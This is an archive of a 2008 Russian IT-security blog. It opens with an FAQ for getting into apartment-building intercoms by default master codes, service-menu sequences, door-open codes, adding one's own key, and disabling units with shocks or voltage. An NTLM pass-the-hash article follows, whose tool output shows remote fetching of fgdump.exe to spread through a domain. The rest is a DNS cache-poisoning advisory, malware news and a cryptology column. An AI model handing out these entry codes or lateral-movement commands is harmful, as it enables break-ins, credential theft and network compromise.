пятница, ноября 07, 2008

IT-Безопасность: FAQ по открытию домофонов

Вопрос: Как сделать клон трубки? 
Ответ: Открой корпус трубы, там стоит несколько джамперов, которые устанавливают номер квартиру, в которой установлена трубка (актуально для Rainkman). 

Вопрос: Как войти в сервисное меню домофона Cifral? 
Ответ: Нажать любую цифру и держать до появления надписи, затем ввести инженерный код. 

Вопрос: Как войти в системное меню домофона Cifral? 
Ответ: Нажать звонок и держать до появления надписи, затем ввести инженерный код. 

Вопрос: Как войти в сервисное меню домофона Rainmann (Rainmann 2000 etc. и другие)? 
Ответ: Нажимаешь кнопочку «ключ» и вводишь 9 8 7 6 5 4 , должен послышаться двойной звуковой сигнал. Затем вводи 1 2 3 4 5 6 , появится буква P. Ты вошел в систему управления домофоном. Теперь запоминай: 
1 — Расширенные настройки домофона, советую самому там не копаться, а просто войти в эту менюшку, и идти попивать пиво неподалеку. Озадаченные жильцы сделают все за вас. 
2 — Обычные настройки домофона. 
3 — Подача сигнала. 
4 — Блокировка двери. 
5 — ???? 
6 — ???? (домофон виснет) 
7 — ???? 
8 — Открыть дверь. 
9 — ???? 
Это действует если только настройки не трогали, вместо 987654 может быть другой код. 
Пашет на домофонах где на экранчике точка стоит слева. 

Вопрос: Как войти в сервисное меню домофона VIZIT? 
Ответ: #999-пикнет 2 раза-(мастер код, по умолчанию 1234)-пикнет 1 раз 
если код не правильный то пиликнет двух тональным сигналом 
значения кнопок: 
1 — ??? 
2 — Установка индивидуальных кодов для квартир. 
3 — Программирование ключей для входа. 
4 — Стирание ключей из памяти. 
5 — ??? 
6 — ??? 
7 — ??? 
8 — ??? 
9 — ??? 
* — Выход из режима. 
# — Подтверждение установки. 

Вопрос:Как войти в сервисное меню домофона Eltis? 
Ответ: Также как в Cifral. 

Вопрос: Как войти в сервисное меню домофона МЕТАКОМ? 
Ответ: На клавиатуре набирай 65535 В (или #) далее 1234 В (или #) если все нормально то на дисплее появится [ ]. 

Вопрос: Как на время вывести из строя домофон с ключом-таблеткой? 
Ответ: Берем пьезу из электрической зажигалки, и даем разряд в приемник ключа, помогает редко, лучше использовать шокер. 

Вопрос: Как обнулить память домофона? 
Ответ: Для этого надо найти откуда запитан домофон, обычно в щитке на первом этаже, там есть небольшой блок, он обычно очень хорошо спрятан, обнулить его просто дайте на 1, 6, 8 и 12м когу +1,5 вольта а -на 2 ногу и память домофона будет чиста как у младенца. 
Но специалист восстановит это за 5 минут. 
Также там есть COM-порт, но как его использовать неизвестно. 

Вопрос: Как открыть дверь домофона Cifral? 
Ответ: Если в подъезде есть квартиры с номерами 100, 200, 300, 400 и т.д., то можно попробовать ввести: 
звонок 100 звонок 7272 
звонок 200 звонок 7272 
звонок 300 звонок 7272 
звонок 400 звонок 7272 
звонок 500 звонок 7272 
звонок 600 звонок 7272 
звонок 700 звонок 7272 
звонок 800 звонок 7272 
звонок 900 звонок 7272 
звонок 100 звонок 7273 
звонок 200 звонок 7273 
звонок 300 звонок 7273 
звонок 400 звонок 7273 
звонок 500 звонок 7273 
звонок 600 звонок 7273 
звонок 700 звонок 7273 
звонок 800 звонок 7273 
звонок 900 звонок 7273 

Вопрос: Как еще можно открыть Cifral? 
Ответ: ВЫЗОВ 41 ВЫЗОВ 1410 
Или просто ввести 07054. Иногда помогает. 

Вопрос: Как можно открыть домофон Eltis? 
Ответ: B 100 B 7273 
В 100 В 2323 
Также можно попробовать варианты от Cifral. 

Вопрос: Как открыть дверь домофона VIZIT? 
Ответ: Если стандартные настройки не меняли то *#4230 и дверь откроется. 
Еще иногда помогает 12#345. 

Вопрос: Как войти в системный режим домофона VIZIT? 
Ответ: Для входа в системный режим нужно соединить выводы кабеля «ПРОГРАММИРОВАНИЕ» чаще всего для этого нужно снимать весь блок с двери, потому как данные выводы не выводят в щиток. 

Вопрос: Чем отличаются сервисный и системный режим? 
Ответ: Сервисный и системный режимы разные. Если снять блок с двери и включить системный режим то можно поменять все. Даже мастер код для входа в системный режим. 

Вопрос: Как записать в память домофона VIZIT свой ключ? 
Ответ: В режиме программирования нажмите 3, затем номер хаты, приложите ключ, нажмите # а потом * 

Вопрос: Какие коды по умолчанию ставят в домофоны? 
Ответ: 1234, 6767, 3535, 9999, 12345, 0000, 11639 (VIZIT). 

Вопрос: Как открыть МЕТАКОМ? 
Ответ: В сервисном меню нажать 8. Также помогает В (или #) 1234567. 
Ответ: 65535-В-1234-В-8 или В-1-В-5702 или В-6-В-4568. 
А: Нажать вызов, потом номер первой квартиры в подъезде, снова вызов(высветится "COD"), потом 5702... Дверь открыта! 

Вопрос: Сколько мастер ключей может быть у домофона МЕТАКОМ? 
Ответ: Только 1. 

Вопрос: Можно ли ключи от домофона магнитом убить, или хоть покалечить? 
Ответ: Нет, нельзя. 

Вопрос: Как сменить системный код в домофоне Cifral? 
Ответ: В режиме программирования 1 (p----) и вводи новый пасс. 

Вопрос: Существуют спец-коды домофонов для открытия дверей спец-службами? 
Ответ: Нет, таких кодов нет. 

Вопрос: Как записать в память домофона Cifral свой ключ? 
Ответ: В сервисном режиме нажать 5,затем ввести номер квартиры, домофон напишет TOUCH прикладываем ключ — он в памяти. 

Вопрос: Как стереть ключ-таблетку из памяти домофона Cifral? 
Ответ: В сервисном режиме нажать 5, затем ввести номер квартиры, на которую подключен ключ, затем нажать 9. 

Вопрос: Как записать в память домофона Cifral оптический (плоский с дырками) ключ? 
Ответ: В системном режиме нажать 5, затем ввести номер ячейки ключа (1, 2, 3), вставить ключ, нажать на звонок. 

Вопрос: Как сменить общий код домофона Cifral? 
Ответ: В сервисном меню нажмите 2, затем введите новый код, если код короче 4 цифр, то после ввода нажмите звонок. 

Вопрос: Как сменить индивидуальный код домофона Cifral? 
Ответ: В сервисном меню нажмите 3, затем номер квартиры, звонок, введите новый код, звонок, затем пойдет вызов, абонент должен будет дважды нажать на кнопку звонка. 

Вопрос: Как отключить абонента домофона Cifral? 
Ответ: В сервисном меню нажмите 4, затем 0, затем номер квартиры, затем звонок. 

Вопрос: Как подключить абонента, которого отключили от домофона Cifral? 
Ответ: В сервисном меню нажмите 4, затем 1, затем номер квартиры, затем звонок. 

Вопрос: Какие настройки по умолчанию домофона Cyfral CCD-2094M? 
Ответ: Код доступа в режим изменения параметров и настроек 123456. 
Общий код 1234. 
Номер таблицы индивидуальных кодов 000. 
Номер первого абонента 1. 
Кол-во абонентов, подлежащих обслуживанию 100. 
Длительность сигнала Z 1. 
Режим пользования общим кодом ВКЛ. 
Режим пользования индивидуальным кодами ВКЛ. 
Абоненты ВКЛ/ВЫКЛ. 
в список обслуживания Звуковой сигнал №3. 
Оповещение абонента об открывании двери индивидуальным ключом ВКЛ. 

Вопрос: На домофоне VIZIT клавиш * и # нет, что делать? 
Ответ: Есть C и K. С — * K — #. 

Вопрос: Существует ли системное меню у старых домофонов (с ключом-«палкой»)? 
Ответ: Нет. 

Вопрос: Как еще можно открыть двери домофонов? 
Ответ: Попробуйте закоротить лампочку на подъездном освещении, иногда помогает. 
Ответ: Одну ногу ставим туда где открывается дверь и сильно тянем за ручку при рывке дверь открывается. 
Ответ: Прижимаешь любой ключ от другого домофона и вводишь 8082 ключ 5454 
Ответ: На рабочем домофоне горит одна точка. Затем нажми на кнопку с изображением ключа, на мониторе появится "---", вводи 987654 (слышится двойной звуковой сигнал), затем вводи 123456. Если на мониторе появилась буква "Р", значит, ты благополучно взял домофон под свой контроль. Теперь ты должен определить цель своей работы. Если тебе просто нужно открыть данную дверь, нажимай цифру "8", и дверь откроется. 

Вопрос: Как открыть домофоны с сенсорной клавиатурой 
Ответ: Пока зима, на домофоны с сенсорной клавиатурой действует такая штучка - берем нормальный комок снега, и прислоняем к клавиатуре Ждем, пока на дисплее появится надпись "Err" , заходим 

Вопрос: Как открыть VIZIT БВД-342 
Ответ: В меню я вошел (набрал #999) на экране появляется 1--2 нажимаешь 1 вроде входит.


источник 

среда, ноября 05, 2008

IT-Безопасность: NTLM не умер, он просто так пахнет

05 ноября, 2008


Антон Карпов

Аналитик по информационной безопасности Digital Security

a.karpov@dsec.ru

http://www.dsec.ru


О проблемах безопасности протоколов LM/NTLM сказано немало. Поэтому для того, чтобы в очередной раз поднимать эту тему, нужны некоторые причины. И такие причины есть. Во-первых, опыт проведения аудита в крупных корпоративных сетях наглядно показывает: по состоянию на конец 2008 года даже старый LanManager кое-где еще живее всех живых. Иными словами, данная статья, как и приведенная в статье утилита, никогда не были бы написаны, если бы их актуальность не была подтверждена регулярной практикой. Вторая причина является следствием первой и заключается в регулярном появлении на известных конференциях по безопасности (BlackHat, Defcon) материалов на заданную тематику, как и различного вида программных средств для проведения атак на NTLM-хэши. Поэтому скептикам, приготовившим аргумент в виде слова "Kerberos", рекомендуется глубоко вдохнуть и пойти проверить свою Windows-сеть на наличие описываемых проблем.


Немного скучной теории. Аутентификация и пароли


Чтобы понять, какую роль протокол NTLM играет в аутентификационном процессе на Windows-машине, рассмотрим, что же происходит после нажатия заветной комбинации Ctrl+Alt+Delete во время интерактивного входа в систему. Процесс Winlogon, а точнее, графическая библиотека GINA (Graphical Identification and Authentication) принимает введенные пользователем аутентификационные данные (имя пользователя и пароль, PIN-код от смарт-карты и т.п.) и инициирует обращение в LSA (Local Security Authority). В случае осуществления локального входа, LSA выполняет обращение в локальную SAM-базу для аутентификации пользователя и возвращает процессу Winlogon токен доступа. После этого, в случае успешной аутентификации, пользователь получает доступ к графической оболочке.

В случае использования доменной структуры пользователя аутентифицирует не локальная LSA, а LSA на контроллере домена, хранящего учетные записи доменных пользователей в Active Directory. Для удаленного взаимодействия этих подсистем (т.е. для аутентификации пользователя или компьютера по сети) используются т.н. аутентификационные пакеты (authentication package), реализующие различные протоколы аутентификации. Таковых всего два: NTLM (библиотека MSV1_0.dll) и Kerberos (библиотека Kerberos.dll). Начиная с Windows 2000, для совершения процедуры доменной аутентификации по умолчанию используется протокол Kerberos (строго говоря, начиная с Windows 2000 LSA по умолчанию выбирает пакет Kerberos вне зависимости от вида входа в систему, но этот аутентификационный пакет не умеет выполнять локальную аутентификацию, и в случае локального входа выполняется fallback на NTLM для обращения к SAM-базе с хэшами паролей).


Пароли в Windows шифруются одним из двух возможных способов: LM и NTLM-хэш. Слабости обоих алгоритмов общеизвестны: отсутствие т.н. «соли» (salt) для рандомизации выходной последовательности (строго говоря, протокол LM использует фиксированное значение «соли» - «KGS!@#$%», NTLM же представляет собой просто MD4-хэш пароля пользователя), что открывает возможность использования Rainbow-таблиц для подбора пароля. Кроме того, LM-хэш является крайне нестойким (максимальная длина пароля составляет 14 символов, недостающие символы дополняются нулями, а затем пароль делится на две части по 7 символов, которые шифруются отдельно с помощью алгоритма DES) и вскрывается с использованием современных вычислительных мощностей за конечное время.


В Windows штатно присутствует три механизма удаленной аутентификации, реализованных в аутентификационных пакетах NTLM и Kerberos, о которых сказано выше. Это LM/NTLM challenge-response, NTLMv2 challenge-response и Kerberos. Недостатки первых двух также общеизвестны: для аутентификации доменным пользователем совершенно необязательно иметь его пароль, так как в процедуре аутентификации используется только хэш пароля учетной записи пользователя. Именно на этом свойстве протокола построены атаки вида Pass-the-Hash, первое упоминание о которых датируется аж 1997 годом.


Зачем мне все это в 2008 году?


Наконец, мы подходим к главной причине, по которой в этой статье собраны материалы более чем десятилетней практики security-сообщества, и имя ей – обратная совместимость. Так, только лишь в Windows Vista / Windows Server 2008 генерация LM-хэшей по умолчанию отключена (опция NoLmHash в разделе реестра HKLM\SYSTEM\CurrentControlSet\Control\Lsa), все предыдущие версии ОС, включая самый распространенный на сегодняшний день в корпоративной среде Windows Server 2003, по умолчанию генерируют и хранят LM-хэши для паролей, длина которых меньше 14 символов. Однако это не самое страшное. Гораздо более неприятен следующий факт: не смотря на то, что все серверные версии Windows, начиная с Server 2000, по умолчанию используют Kerberos для удаленной аутентификации пользователя или ресурса, протокол LM/NTLM challenge-response все еще поддерживается и может быть использован, если клиент инициирует такое соединение. За эту поддержку отвечает ключ реестра LmCompatibilityLevel в разделе реестра HKLM\SYSTEM\CurrentControlSet\Control\Lsa, который может принимать целочисленное значение от 0 до 5. В Windows Server 2003 этот параметр по умолчанию имеет значение 2, в Windows Vista / Server 2003 – 3, и для контроллера домена означает возможность использования клиентом LM/NTLM или NTLMv2 challenge-response протокола для удаленной аутентификации.


Неудивительно, что в настоящее время широко распространены утилиты для «игр» с NTLM-хэшами, а сама задача получения хэша является более чем актуальной. Еще бы, ведь даже в сети, построенной на самой современной на текущий день серверной платформе Windows Server 2008, получение хотя бы одного хэша учетной записи, обладающей административными правами на каком-либо сервере, может привести к получению удаленного административного доступа к контроллеру домена, а значит, и ко всем серверам и рабочим станциям в домене. Этому способствует сильная связанность в корпоративных сетях: опыт проведения аудитов показывает, что ситуация, при которой обнаруженная на одном сервере учетная запись подойдет, по крайней мере, на еще один сервер, является более чем типичной. Получив, таким образом, доступ к новому серверу и сняв с него новые хэши паролей, есть большая вероятность инициировать лавинный процесс, который рано или поздно приведет к получению искомого: учетной записи администратора домена. При этом стоит отметить, что стойкость пароля не имеет никакого значения, ведь ничего не нужно расшифровывать – ни с помощью Rainbow-таблиц, ни «грубой силой».


Как получить хэши?


В «чистом виде» хэши можно получить следующими способами:

- Из AD-хранилища (в случае контроллера домена);

- Из локальной SAM-базы;

- Из кэша LSA, во время активной сессии пользователя.


Если с первыми двумя все понятно, то третий не стоит путать с т.н. “cached logon accounts”, которые хранятся в системе на случай необходимости входа в домен при недоступном контроллере. Во время активного локального или удаленного сеанса работы (например, когда администратор подключается по RDP для выполнения административных задач) LSA хранит активные credentials в памяти, откуда они могут быть получены с помощью таких утилит как whosthere.exe из набора Psh-toolkit (http://oss.coresecurity.com/projects/pshtoolkit.htm) или gsecdump.exe (http://www.truesec.com).


Существуют также альтернативные способы получения NTLM-хэшей, например, довольно эффективно показывает себя в корпоративных сетях перехват хэшей при совершении клиентским браузером NTLM HTTP-аутентификации. Летом 2008 года на конференции DefCon была продемонстрирована утилита Squirtle (http://code.google.com/p/squirtle/) для проведения подобных атак. Однако NTLM-хэш пароля в случае HTTP-аутентификации передается в сообщении (Type 3 message) в зашифрованном случайным значением (nonce) виде и не подходит для немедленного использования, требуя предварительной расшифровки. Поэтому данные методы, хоть и являются весьма интересными, выходят за рамки данной статьи.


PtH-Pwner


Существует большое количество утилит, которые позволяют подменять права текущего пользователя (credentials), используя полученный NTLM-хэш. Самые популярные – это iam.exe из вышеупомянутого набора Psh-toolkit и msvctl.exe от TrueSec. Они позволяют «представляться» в Windows-сети от имени скомпрометированной учетной записи для получения доступа к сетевым ресурсам. Однако у них имеется два недостатка. Первый – их использование ограничено win32-платформой, второй – обе эти утилиты слабо подходят для автоматизации рутинных задач. В то же время практика проведения аудитов защищенности не раз требовала легкого и удобного решения задач вида «на какие еще машины подойдет обнаруженный NTLM-хэш со взломанного сервера», «пройтись по взломанным серверам и добавить учетную запись, вытащить новые хэши паролей» и т.п. Для автоматизации таких задач был написан скрипт на языке shell, по сути являющийся удобной оболочкой для утилиты winexe (линуксовый аналог psexec), пропатченной для возможности аутентификации с помощью NTLM-хэша (http://www.foofus.net/jmk/passhash.html). За отсутствием богатой фантазии у автора скрипт назван pth-pwner и доступен по адресу http://www.dsec.ru/dsecrg/releases/pth-pwner.tar.gz.


Скрипт функционирует под ОС Linux и может работать в двух режимах. В первом он принимает в качестве аргументов имя пользователя (локального или доменного), хэш его пароля и адрес сервера (или подсети). Опционально может быть указан файл, в котором построчно указаны команды для выполнения на сервере (по умолчанию выполняется команда ipconfig), список хостов также может быть указан в файле и передан в качестве аргумента. После запуска утилита пытается аутентифицироваться переданным хэшем на указанных серверах и выполнить заданную команду.


$ ./pth-pwner -u CORP\\domadmin -s 64DFE7...F74F9B:ADF5F3...6BB49AD2 -h 10.11.0.6

[+] PtH-Pwner v. 1.0 (Aug 2008)

Running with the following credentials:
Username to login: domadmin
Domain: CORP
SMBHASH to use: 64DFE7...F74F9B:ADF5F3...6BB49AD2
Host/Subnet to scan: 10.11.0.6
Command to execute: ipconfig

[+] attacking 10.129.11.6

Windows IP Configuration

Ethernet adapter Local Area Connection 2:

Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.11.0.6
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . : 10.11.0.7
10.11.0.6 [CORP]: SUCCESS!

All done. 1 scanned, 1 succeeded

$ ./pth-pwner.sh -u LocAdmin -s 64DFE71...F74F9B:ADF5...116BB49AD2 -f hosts.txt -c commands.txt

[+] PtH-Pwner v. 1.0 (Aug 2008)

Running with the following credentials:
Username to login: LocAdmin
SMBHASH to use: 64DFE71...F74F9B:ADF5...116BB49AD2
Reading hosts from hosts.txt
Reading commands from commands.txt

[+] attacking 10.11.0.11

>>>>>>>> attempting to execute [tftp -i 10.11.0.141 GET fgdump.exe] on 10.11.0.11
Transfer successful: 974848 bytes in 1 second, 974848 bytes/s
10.11.0.11 [SERV11]: executing [tftp -i 10.11.0.141 GET fgdump.exe] -> SUCCESS!
[+] attacking 10.11.0.20
>>>>>>>> attempting to execute [tftp -i 10.11.0.141 GET fgdump.exe] on 10.11.0.20
Transfer successful: 974848 bytes in 1 second, 974848 bytes/s
10.11.0.20 [SERV20]: executing [tftp -i 10.11.0.141 GET fgdump.exe] -> SUCCESS!
 ...


Для еще большей автоматизации процесса можно воспользоваться вторым режимом работы скрипта. Предположим, у нас есть результат работы утилиты gsecdump.exe с какого-либо сервера. Передав при помощи ключа -g на вход скрипту вместо одного NTLM-хэша файл с хэшами в формате gsecdump, мы заставим его проверить каждую присутствующую в файле запись на возможность аутентификации на заданных хостах. Очевидно, что, передав в качестве команды закачивание и выполнение на скомпрометированных хостах утилиты gsecdump.exe, мы можем инициировать тот самый лавинный эффект, который приведет к взлому все большего и большего количества хостов на каждой итерации.


Как защититься?


Очевидно, что никакая парольная политика от описанных атак не спасет, так пароль не подвергается расшифровке, а значит, его стойкость не имеет никакого значения. Переход на двухфакторные методы аутентификации, как ни странно, тоже не исправит ситуацию. NTLM слишком «глубоко вшит» в систему и отключить его полностью не представляется возможным. Так, в Windows 2000 при переходе на аутентификацию по смарт-картам хэш пароля все равно хранится в базе без изменений. В Windows 2003 пароль меняется на случайную последовательность, но, как сказано выше, роли это никакой не играет.


Специалисты из Compass Security AG провели любопытное исследование (http://www.csnc.ch/static/download/Hash_Injection_Attack_E.pdf), в котором попытались как полностью деактивировать аутентификационный пакет NTLM в реестре, так и физически удалить библиотеку MSV1_0.dll с рабочей станции под управлением Windows XP в домене. В обоих случаях ни локальный, ни доменный вход систему стал невозможен.


Все типовые рекомендации (отключение хранения LM-хэшей на серверах и рабочих станциях, выставление параметра LmCompatibilityLevel в максимально возможное значение, отключение локального хранения кэшированных аккаунтов и последующая очистка кэша и т.п.) не являются панацеей от проблемы.


В какой-то степени помочь может принудительное шифрование трафика и аутентификация хостов с помощью IPSec, для невозможности использования хэша с недоверенных систем. Для этого необходимо настроить соответствующие политики на контроллере домена.


Выводы


Алгоритм LanManager (LM) был разработан в начале 90-х годов прошлого века. Операционная система Windows Server 2003 вышла тринадцать лет спустя. И тем не менее, в ней все еще хранились пароли пользователей, зашифрованные с применением этого алгоритма. Виновницей данного факта, как и того, что описанные в статье атаки далеко не первой свежести отлично работают в современных Windows-сетях, является она - та, которая вызывает скрип зубов у разработчиков и крики отчаяния пользователей. Имя ей - backward compatibility.


Ссылки по теме:


http://technet.microsoft.com/ru-ru/magazine/cc160954(en-us).aspx
http://technet.microsoft.com/en-us/library/cc780332.aspx
http://www.securitylab.ru/contest/212100.php
http://oss.coresecurity.com/projects/pshtoolkit.htm
http://www.foofus.net/jmk/passhash.html
http://www.truesec.com/PublicStore/catalog/Downloads,223.aspx
http://www.csnc.ch/static/download/Hash_Injection_Attack_E.pdf
http://truesecurity.se/blogs/murray/archive/2007/03/16/why-an-exposed-lm-ntlm-hash-is-comparable-to-a-clear-text-password.aspx
http://www.innovation.ch/personal/ronald/ntlm.html
http://davenport.sourceforge.net/ntlm.html
http://www.foofus.net/fizzgig/fgdump/
http://carnal0wnage.blogspot.com/2008/03/msvctl-pass-hash-action.html
http://code.google.com/p/squirtle/
http://grutztopia.jingojango.net/



суббота, июля 26, 2008

IT-Безопасность: Уязвимость в DNS. Джин на свободе?


Краткое предисловие

DNS является одним из самых критичных компонентов сети Интернет, поэтому уязвимости в серверах имен всегда вызывали повышенный интерес у злоумышленников. 8-9 июля многие производители выпустили исправления, устраняющие фунаментальную ошибку, которая позволяет злоумышленнику произвести спуфинг атаку. Дэн Камински в своем блоге http://www.doxpara.com/?p=1165 опубликовал более подробное описание уязвимости и сделал доступным эксплоит.

В чем заключается уязвимость?

Уязвимость существует из-за того, что DNS сервер использует предсказуемый номер порта для отправки DNS запросов. Злоумышленник может угадать номер порта, который используется для отправки данных, и с помощью специально сформированного ложного DNS-ответа подменить данные в кеше DNS сервера.

Для подтверждения наличия уязвимости можно воспользоваться эксплоитами и утилитой:

BIND 9.4.1-9.4.2 Remote DNS Cache Poisoning Flaw Exploit (meta)
BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (py)
Утилита http://www.onzra.com/CacheAudit-Latest.tgz

Насколько опасна уязвимость?

Спуфинг атака – атака, направленная в первую очередь на клиента, а не на сервер. Уязвимость, которую мы сейчас обсуждаем, неспособна дать повышенные привилегии на уязвимой системе или выполнить произвольный код, но в сочетании с другими незначительными ошибками программного обеспечения или социальной инженерией, может стать очень опасным инструментом в руках злоумышленника.

В тестах, которые проводил Камински, ему удалось отравить кеш сервера имен приблизительно за 5-10 секунд. Эта уязвимость позволяет атакующему перезаписать данные, которые уже находятся в кеше сервера. Сервера имен, которые являются только авторитетными, не подвержены этой уязвимости. Установка высокого значения TTL для ваших хостов на авторитетном сервере не помешает злоумышленнику отравить кеш уязвимых резолверов, так как атака обходит защиту TTL.

Уязвимость затрагивает также и клиентские библиотеки (рабочие станции и сервера, которые обращаются к вышестоящим серверам имен) и может быть проведена против одиночного хоста. Также, некоторые МСЭ с функционалом трансляции адресов, рассчитанные на домашний сектор, используют предсказуемые номера для порта источника запросов, что позволяет злоумышленнику удачно произвести атаку, даже если было установлено исправление на сервер имен или клиент.

Итак, подытожим:
Отравление кеша DNS сервера можно произвести довольно быстро (5-10 секунд)
Злоумышленник может изменить данные, которые уже находятся в кеше сервера
Уязвимость может использоваться как против сервера имен, так и против рабочей станции.
Сервера и рабочие станции, которые находятся за бюджетными МСЭ с включенным NAT, подвержены уязвимости не зависимо от установленных исправлений.
Эксплоит находится в публичном доступе.
Целью атаки может стать любой промежуточный DNS сервер на пути к авторитетному серверу или DNS клиент. Это означает, что если вышестоящий DNS сервер уязвим, то не зависимо от наличия исправлений на ваших серверах, вы можете стать жертвой атаки.

Векторы атаки

Как я уже писал выше, спуфинг атака – атака, направлена на клиента, а не на сервер. Злоумышленник может:
произвести фишинг атаку и получить доступ к важным данным
произвести атаку типа «Человек посередине» и получить доступ к потенциально важным данным (паролям, номерам кредитных карт и другим данным, которые вы передаете).
используя уязвимость в ПО, получить доступ к важным данным и даже скомпрометировать целевую систему (например, из-за недостаточной проверки подлинности сервера при установке обновлений приложения, при перенаправлении пользователя на специально сформированный сайт и т.д.).

Исправления

Для устранения уязвимости необходимо установить исправления не только на хосты, которые находятся под вашим контролем, но и на все сервера имен, которые участвуют в обмене данными, иначе всегда будет существовать возможность спуфинг атаки.
Исправления доступны для Windows, Linux, UNIX и других систем. Для получения исправления обратитесь к соответствующему производителю. Список производителей доступен по адресу: http://www.kb.cert.org/vuls/id/800113

Выводы

Уязвимость достаточно опасна и может эксплуатироваться как против сервера, так и против клиента. Исправления хотя и существуют, но установлены далеко не везде. Армагеддон, конечно же не наступает, но у злоумышленников появилась дополнительное преимущество, которым они не постесняются воспользоваться в последующих атаках на ваши сети.

_http://www.securitylab.ru/analytics/356362.php

среда, июля 23, 2008

IT-Безопасность: Кибер-преступники рассылают сообщения якобы от службы доставки UPS



Антивирусная лаборатория PandaLabs обнаружила целый ряд электронных почтовых сообщений, содержащих троян Agent.JEN. Подобные сообщения с темой “Посылка UPS N3621583925” маскируются под рассылку от компании UPS, занимающейся доставкой почты. Текстовое сообщение информирует получателя, что почтовую посылку невозможно доставить, и предлагает распечатать прикрепленный счет.

Такой счет представляет собой прикрепленный “.zip” файл, который содержит вложение, замаскированное под документ Microsoft Word с примерным названием “UPS_invoice”. Как только пользователь открывает файл, он заносит копию трояна на свой компьютер.

Вредоносный код копирует себя в систему, подменяя собой файл Userinit.exe в операционной системе Windows. Этот файл запускает Internet Explorer, системный интерфейс и другие необходимые процессы. Для дальнейшей корректной работы компьютера и во избежание обнаружения инфекции троян копирует системный файл под именем userini.exe в другую папку.

“Такие действия соответствуют динамике современного вредоносного ПО: кибер-преступники уже не стремятся к популярности и известности; они предпочитают обогащение без излишней огласки”, - говорит Луис Корронс, технический директор PandaLabs.

В итоге, Agent.JEN подключается к домену в зоне .ru (уже использующемуся другими банковскими троянами) и с его помощью посылает на немецкий домен запрос на загрузку руткита и рекламного ПО, распознаваемых PandaLabs как Rootkit/Agent.JEP и Adware/AntivirusXP2008. Это дополнительно усиливает риск заражения.

“Мы были свидетелями того, как кибер-преступники использовали в качестве наживки для распространения вирусов эротические картинки, рождественские и романтические открытки, фальшивые трейлеры к фильмам и др. Однако видеть что-то, подобное этой задумке, нам еще не приходилось”, - объясняет Корронс. “Она демонстрирует стремление кибер-преступников использовать для распространения инфекций приманки, которые бы вызывали минимум подозрений”.

_http://www.cybersecurity.ru/news/51844.html

вторник, июля 22, 2008

IT-Безопасность: Троян с гарантией


Вредоносное программное обеспечение достаточно давно превратилось в товар, производитель которого наделяет клиента определенными гарантиями.

Однако распространители «супер-трояна», известного под именем Limbo 2, пошли дальше других. Продавая вредоносное приложение за достаточно высокую сумму, хакеры обещают возвратить клиенту потраченную сумму, в случае если вредоносное ПО будет обнаружено.

Новый троян умеет оперативно реагировать на «опасность» и оставаться вне досягаемости для современных систем защиты. Будучи обнаруженным троян автоматически создает свою новую вариацию и снова оказывается невидимым. При этом в процессе превращения приложение не утрачивает своей исходной функциональности.

При проникновении в систему вирус-оборотень действует намного изощреннее, чем обычный «кейлоггер». Этот троян не только сохраняет и передает вводимые пользователем данные, но и подменяет главные страницы открываемых сайтов. Кроме того, Limbo 2 может собирать и пересылать своему хозяину самые разные данные, включая номера кредитных карт, адреса электронной почты, имена пользователей и пароли для входа в систему, а также любую другую персональную информацию, обнаруженную на жестком диске ПК.

_http://www.securitylab.ru/news/356211.php

понедельник, июля 14, 2008

IT-Безопасность: Прикладная криптология

Автор: Киви Берд
Опубликовано 14 июля 2008 года

Криптология, как многие наверняка наслышаны, занимается не только шифрами и методами их вскрытия, но и множеством других проблем, так или иначе связанных с защитой и восстановлением информации. Поэтому нередки случаи, когда в реальных задачах прикладной криптологии собственно до анализа и вскрытия шифров дело вообще не доходит, но конкретные результаты все равно достигаются. Два примера из текущих ИТ-новостей наглядно демонстрируют этот на первый взгляд парадоксальный факт.

Первый сюжет связан с чрезвычайно актуальной и широко обсуждаемой ныне темой "сетевого нейтралитета" и роли компаний, обеспечивающих работоспособность сетевой инфраструктуры. Вправе ли они контролировать содержимое проходящего по каналам трафика, и если да, то до какой степени? Не дожидаясь итога этих дискуссий, многие интернет-провайдеры уже сегодня втихаря занимаются инспекцией пакетов и принудительным сужением (или "дросселированием") каналов для некоторых видов трафика, в первую очередь - для распространенных P2P-протоколов обмена файлами. Естественной реакцией на это со стороны пиринговых сетей стало шифрование пакетов.

Понятно, что сеанс зашифрованной связи просто так уже не проинспектируешь. Но вот недавно в Сети было опубликовано любопытное исследование, демонстрирующее программный инструмент, с помощью которого провайдеры могли бы целенаправленно блокировать или ограничивать шифрованный трафик своих абонентов, даже не имея возможности проанализировать защищенные данные.

Авторы работы, итальянские исследователи из Университета Брешии, нашли способ "слепой" классификации с точностью до 90% того типа трафика, что сокрыт в шифрованных пакетах сеансов SSH-соединений. Такой выдающийся результат достигнут с помощью алгоритма автоматического анализа, сопоставляющего размеры пакетов и интервалы между их доставкой. А собственно содержимое пакетов программу анализа совершенно не интересует.

Второй сюжет посвящен роли криптологии в аспектах, связанных с интернет-телефонией. Постоянно растущая популярность VoIP-технологий диктует необходимость поиска все более эффективных методов компрессии речи. Перспективное и сравнительно новое здесь направление (впрочем, хорошо известное любителям цифровой музыки) - сжатие с переменным битрейтом, при котором размер пакетов данных существенно варьируется. Происходит это потому, что для длинных и сложных гласных звуков частота отсчетов делается высокой, а для простых согласных частота сэмплирования заметно ниже. Важнейшее достоинство данного метода сжатия в том, что он сохраняет качество звука, присущее высокому битрейту, но при этом снижает нагрузку на канал связи. Однако с точки зрения защиты информации эта технология не выдерживает никакой критики.

Группа исследователей из американского Университета Джонса Хопкинса (Johns Hopkins University) продемонстрировала, что сжатие с переменным битрейтом очень сильно ослабляет криптозащиту зашифрованных VoIP-потоков. Ученые показали, что достаточно измерять размер пакетов, даже не прибегая к их декодированию, чтобы с высокой точностью выявлять слова и фразы. Программа анализа, разработанная авторами, пока не может восстановить весь разговор целиком, однако позволяет отыскивать конкретные словосочетания в зашифрованном потоке.

Алгоритм программы с помощью фонетического словаря разбивает искомую фразу на фонемы. Затем фраза составляется из звуков, взятых из библиотеки образцов, а результат преобразуется в набор VoIP-пакетов. Полученная структура дает общее представление о том, как фраза может выглядеть в реальном VoIP-потоке. И когда нечто похожее по структуре выявляется в реальном сеансе IP-телефонии, программа тут же оповещает перехватчика о находке.

